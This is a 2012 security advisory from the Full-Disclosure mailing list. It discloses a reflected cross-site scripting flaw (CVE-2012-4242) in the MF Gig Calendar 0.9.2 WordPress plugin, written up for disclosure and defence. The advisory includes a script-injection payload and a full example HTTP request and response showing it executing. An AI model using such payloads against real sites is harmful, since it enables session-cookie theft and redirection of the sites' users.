MF Gig Calendar Wordpress Plugin - Cross-Site Scripting

["Joseph Sheridan" <joe () reactionis com>]

/---------------------------------------------------------\
| MF Gig Calendar Wordpress Plugin - Cross-Site Scripting |
\---------------------------------------------------------/


Summary
=======

MF Gig Calendar 0.9.2 is subject to a cross-site scripting vulnerability. The value of a generic parameter was not 
sufficiently sanitised before being written to the calendar page. An attacker could distribute a malicious URL that 
would trigger this vulnerability and potentially steal session cookies, redirect the user to a malicious URL or 
download malware onto their machine.

CVE number: CVE-2012-4242
Impact: Medium
Vendor homepage: http://wordpress.org/extend/plugins/mf-gig-calendar/
Vendor notified: 20/07/2012, 07/08/2012
Vendor response: No reply was received from the author
Credit: Chris Cooper and Joseph Sheridan of ReactionIS (http://www.reactionis.co.uk/)

This advisory is posted at:

http://www.reactionpenetrationtesting.co.uk/mf-gig-calendar-xss.html


Affected Products
======== ========

MF Gig Calendar 0.9.2. Other versions may be affected.


Details
=======

A generic parameter on the calendar page was found to be subject to a cross-site scripting vulnerability. It was 
possible to inject arbitrary Javascript into the URL as an additional parameter (following an '&'). This code is then 
passed into an anchor href parameter without sanitisation, and executed by the browser.

Injecting the following Javascript code into a generic parameter on the calendar page will trigger the vulnerability, 
causing the page to return a Javascript alert box.

"><script>alert('xsstest')</script>

---
Example 1 Request:
+-----------------

GET /wp/?page_id=2&"><script>alert('xsstest')</script> HTTP/1.1
Host: 192.168.0.6
Referer: http://192.168.0.6/wp/?page_id=2&ytd=2012
Cookie: wordpress_test_cookie=WP+Cookie+check; wp-settings-1=hidetb%3D1%26editor%3Dtinymce; 
wp-settings-time-1=1342447051; PHPSESSID=ls61d5ov9vugrfhgu45urh4n55

---
Example 1 Response:
+------------------

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2012 09:00:14 GMT
Server: Apache
X-Powered-By: PHP/5.3.8
X-Pingback: http://192.168.0.6/wp/xmlrpc.php
Content-Length: 6835
Content-Type: text/html; charset=UTF-8

--- SNIP ---
        <div class="entry-content">
                <h2>Upcoming Events</h2><div id="cal_nav"><strong>Upcoming</strong> | Archive: <a 
href="?page_id=2&"><script>alert('xsstest')</script>=&ytd=2012">2012</a> </div><ul id="cal">
--- SNIP ---


Impact
======

An attacker might entice users to follow a malicious URL, causing Javascript code to execute in their browser, 
potentially stealing session cookies, redirecting the user to a malicious URL or downloading malware onto their machine.


Solution
========

At the time of writing, no patch has been released by the vendor.


Distribution
============

In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet 
news recipients.

* bugtraq () securityfocus com
* full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS corporate website, but may or may not be 
actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the URL 
below for any updates:


http://www.reactionpenetrationtesting.co.uk/mf-gig-calendar-xss.html

==============================================================================

Reaction Information Security 
Lombard House Business Centre,
Suite 117,
12-17 Upper Bridge Street,
Canterbury, Kent, CT1 2NF

Phone: +44 (0)1227 785050
Email: research () reactionis {dot} co {dot} uk
Web: http://www.reactionpenetrationtesting.co.uk


Joseph Sheridan
Director
CHECK Team Leader, CREST Infrastructure, CREST Application, CISSP
Tel: 07812052515
Web: www.reactionis.com
Email: joe () reactionis co uk

Reaction Information Security Limited.
Registered in England No: 6929383
Registered Office: 1, The Mews, 69 New Dover Road, Canterbury, CT1 3DZ
 
This email and any files transmitted with it are confidential and are intended solely for the use of the individual to 
whom they are addressed. If you are not the intended recipient please notify the sender. Any unauthorised dissemination 
or copying of this email or its attachments and any use or disclosure of any information contained in them, is strictly 
prohibited.

 Please consider the environment before printing this email



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/